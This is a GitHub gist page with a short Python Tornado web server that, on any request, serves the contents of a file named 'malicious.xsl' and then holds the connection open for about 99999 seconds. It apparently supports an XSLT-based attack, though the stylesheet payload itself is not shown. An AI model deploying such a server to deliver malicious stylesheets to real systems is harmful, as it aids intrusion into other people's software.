Created
November 3, 2018 15:55
-
-
Save ProMPT120/c95bcaf0e5555d09a42f1851f0973804 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from tornado.ioloop import IOLoop | |
import tornado.web | |
import time | |
class MainHandler(tornado.web.RequestHandler): | |
def get(self): | |
with open("malicious.xsl","r") as file: | |
self.write(file.read()) | |
self.flush() | |
time.sleep(99999) | |
self.finish() | |
if __name__ == "__main__": | |
application = tornado.web.Application([ | |
(r'/', MainHandler), | |
]) | |
port = 9999 | |
application.listen(port) | |
print("Listening on port "+str(port)) | |
IOLoop.instance().start() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment